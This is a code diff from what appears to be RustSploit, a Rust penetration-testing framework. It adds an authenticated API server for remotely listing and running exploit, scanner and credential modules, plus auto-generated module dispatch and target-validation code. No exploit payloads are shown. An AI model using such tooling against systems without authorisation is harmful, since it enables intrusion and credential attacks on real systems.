let log_entry = format!("[{}] {}\n", timestamp, safe);
// Log to terminal
println!("{}", log_entry.trim());
// Log to file
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&self.log_file)
.await
.context("Failed to open log file")?;
file.write_all(log_entry.as_bytes())
.await
.context("Failed to write to log file")?;
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
}
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
if let Some(tracker) = failures_guard.get_mut(ip) {
// Check if IP is currently blocked
if let Some(blocked_until) = tracker.blocked_until {
if now < blocked_until {
let remaining = (blocked_until - now).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
ip, remaining, tracker.failed_attempts
))
.await?;
return Ok(false); // Blocked
} else {
// Block period expired, reset
tracker.failed_attempts = 0;
tracker.blocked_until = None;
self.log_message(&format!(
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
ip
))
.await?;
}
}
}
Ok(true) // Not blocked
}
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
// Validate IP string length
if ip.len() > 128 {
return Ok(());
}
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
// Cleanup old entries if we have too many (memory protection)
if failures_guard.len() >= MAX_AUTH_FAILURE_ENTRIES {
// Remove expired blocks and oldest entries
let cutoff = now - chrono::Duration::hours(1);
failures_guard.retain(|_, v| {
v.blocked_until.map(|b| b > now).unwrap_or(false) ||
v.first_failure > cutoff
});
let _ = self.log_message(&format!(
"[CLEANUP] Pruned auth failure tracker to {} entries",
failures_guard.len()
)).await;
}
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
AuthFailureTracker {
ip: ip.to_string(),
failed_attempts: 0,
first_failure: now,
blocked_until: None,
}
});
// Set first_failure if this is the first attempt
if tracker.failed_attempts == 0 {
tracker.first_failure = now;
}
tracker.failed_attempts = tracker.failed_attempts.saturating_add(1);
// Block after 3 failed attempts for 30 seconds
if tracker.failed_attempts >= 3 {
let block_until = now + chrono::Duration::seconds(30);
tracker.blocked_until = Some(block_until);
let duration_since_first = (now - tracker.first_failure).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
duration_since_first
))
.await?;
println!(
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
);
} else {
self.log_message(&format!(
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
}
Ok(())
}
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
if let Some(tracker) = failures_guard.get_mut(ip) {
if tracker.failed_attempts > 0 {
self.log_message(&format!(
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
ip, tracker.failed_attempts
))
.await?;
}
tracker.failed_attempts = 0;
tracker.blocked_until = None;
}
Ok(())
}
}
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
.and_then(|h| h.to_str().ok())
.map(|s| {
s.split(',')
.next()
.unwrap_or("")
.trim()
.to_string()
})
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
}
// Extract API key from Authorization header
let auth_header = headers
.get("Authorization")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
let provided_key = if auth_header.starts_with("Bearer ") {
&auth_header[7..]
} else if auth_header.starts_with("ApiKey ") {
&auth_header[7..]
} else {
auth_header
};
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
message: "Malformed API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Verify API key
let is_valid = state.verify_key(provided_key).await;
if !is_valid {
// Record failed authentication attempt
if client_ip != "unknown" {
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Successful authentication - reset failure counter for this IP
if client_ip != "unknown" {
let _ = state.reset_auth_failures(&client_ip).await;
}
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
let modules = commands::discover_modules();
let mut exploits = Vec::new();
let mut scanners = Vec::new();
let mut creds = Vec::new();
for module in modules {
if module.starts_with("exploits/") {
exploits.push(module);
} else if module.starts_with("scanners/") {
scanners.push(module);
} else if module.starts_with("creds/") {
creds.push(module);
}
}
let data = ListModulesResponse {
exploits,
scanners,
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
})
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Acquire permit to limit concurrency
// We hold an owned permit and move it into the thread
let permit = state.execution_limit.clone().acquire_owned().await.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Run the module in a separate OS thread to support !Send futures (like Mutex guards and ThreadRng)
// We use a current_thread runtime which allows !Send futures to be blocked on.
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
std::thread::spawn(move || {
let _permit = permit; // Permit is dropped when thread finishes
// Use current_thread runtime for lightweight isolation and !Send support
let rt = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build();
match rt {
Ok(rt) => {
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
}
Err(e) => {
eprintln!("Failed to create runtime for module execution: {}", e);
}
}
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
let key_guard = state.current_key.read().await;
let tracker_guard = state.ip_tracker.read().await;
// Collect all tracked IPs with their details
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
let ip_details: Vec<serde_json::Value> = tracked_ips
.iter()
.map(|tracker| {
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
})
})
.collect();
let status_data = serde_json::json!({
"harden_enabled": state.harden_enabled,
"ip_limit": state.ip_limit,
"unique_ips": tracker_guard.len(),
"key_created_at": key_guard.created_at.to_rfc3339(),
"log_file": state.log_file.to_string_lossy(),
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
let new_key = state
.rotate_key()
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
let tracker_guard = state.ip_tracker.read().await;
let failures_guard = state.auth_failures.read().await;
// Use all fields from IpTracker
let ips: Vec<serde_json::Value> = tracker_guard
.values()
.map(|tracker| {
// Get auth failure info for this IP if it exists
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
serde_json::json!({
"failed_attempts": fail.failed_attempts,
"first_failure": fail.first_failure.to_rfc3339(),
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
})
});
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
"auth_failures": auth_info,
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
let failures_guard = state.auth_failures.read().await;
let now = Utc::now();
// Use all fields from AuthFailureTracker
let failures: Vec<serde_json::Value> = failures_guard
.values()
.map(|tracker| {
let is_blocked = tracker.blocked_until
.map(|blocked_until| now < blocked_until)
.unwrap_or(false);
let remaining_seconds = if is_blocked {
tracker.blocked_until
.map(|blocked_until| (blocked_until - now).num_seconds())
.unwrap_or(0)
} else {
0
};
serde_json::json!({
"ip": tracker.ip,
"failed_attempts": tracker.failed_attempts,
"first_failure": tracker.first_failure.to_rfc3339(),
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": is_blocked,
"remaining_block_seconds": remaining_seconds,
"duration_since_first": (now - tracker.first_failure).num_seconds(),
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
}
pub async fn start_api_server(
bind_address: &str,
api_key: String,
harden: bool,
ip_limit: u32,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
))
.await?;
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 Initial API key: {}", api_key);
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/run", post(run_module))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
.route("/api/auth-failures", get(get_auth_failures))
.layer(axum::middleware::from_fn_with_state(
state.clone(),
auth_middleware,
));
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(
ServiceBuilder::new()
.layer(RequestBodyLimitLayer::new(MAX_REQUEST_BODY_SIZE))
.layer(TraceLayer::new_for_http())
)
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
println!("✅ API server is running! Use the API key in Authorization header.");
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
+25 -1
View File
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
.args(&["command", "api"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -19,4 +19,28 @@ pub struct Cli {
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::creds;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_cred_check" => {
creds::sample_cred_check::run(target).await?;
},
// Add more creds modules here ...
_ => eprintln!("Creds module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::exploits;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_exploit" => {
exploits::sample_exploit::run(target).await?;
},
// Add more exploit modules here ...
_ => eprintln!("Exploit module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
+112 -24
View File
@@ -1,51 +1,139 @@
// src/commands/mod.rs
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use crate::config;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
// Use CLI target if provided, otherwise try global target
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
exploit::run_exploit(&module, &target).await?;
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
scanner::run_scan(&module, &target).await?;
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
creds::run_cred_check(&module, &target).await?;
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
// Called from the interactive shell
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
if module_path.starts_with("exploits/") {
let module_name = module_path.trim_start_matches("exploits/").to_string();
exploit::run_exploit(&module_name, target).await?;
} else if module_path.starts_with("scanners/") {
let module_name = module_path.trim_start_matches("scanners/").to_string();
scanner::run_scan(&module_name, target).await?;
} else if module_path.starts_with("creds/") {
let module_name = module_path.trim_start_matches("creds/").to_string();
creds::run_cred_check(&module_name, target).await?;
/// Interactive shell: handles `run` with raw target string
/// If raw_target is empty, uses global target if available
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("Unknown module path '{}'", module_path);
eprintln!("Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
}
return Ok(());
};
// Use provided target, or fall back to global target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
}
} else {
raw_target.to_string()
};
let target = normalize_target(&target_str)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
}
}
}
}
modules
}
+3 -9
View File
@@ -1,13 +1,7 @@
use anyhow::Result;
use crate::modules::scanners;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_scanner" => {
scanners::sample_scanner::run(target).await?;
},
// Add more scanner modules here ...
_ => eprintln!("Scanner module '{}' not found.", module_name),
}
Ok(())
dispatch(module_name, target).await
}
+81
View File
@@ -0,0 +1,81 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
+264
View File
@@ -0,0 +1,264 @@
use anyhow::{Result, anyhow};
use std::sync::{Arc, RwLock};
use ipnetwork::IpNetwork;
use regex::Regex;
/// Maximum length for target strings
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for hostname
const MAX_HOSTNAME_LENGTH: usize = 253;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
// Basic validation
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Length check
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Target cannot contain control characters"));
}
// Check for path traversal attempts
if trimmed.contains("..") || trimmed.contains("//") {
return Err(anyhow!("Target contains invalid characters (path traversal)"));
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Validate hostname/IP format
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Validates a hostname or IP address format
fn validate_hostname_or_ip(target: &str) -> Result<()> {
// Length check for hostname
if target.len() > MAX_HOSTNAME_LENGTH {
return Err(anyhow!(
"Hostname too long (max {} characters)",
MAX_HOSTNAME_LENGTH
));
}
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
));
}
// Check for spaces
if target.contains(' ') {
return Err(anyhow!("Target cannot contain spaces"));
}
// Basic hostname format check (not starting/ending with special chars)
if target.starts_with('.') || target.starts_with('-') {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
if target.ends_with('.') && !target.ends_with("..") {
// Allow trailing dot for FQDN, but not double dots
}
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
}
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let target_guard = self.target.read().unwrap();
target_guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
}
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
Some(TargetConfig::Subnet(net)) => {
// Return the network address (first IP in the subnet)
Ok(net.network().to_string())
}
None => Err(anyhow!("No global target set")),
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
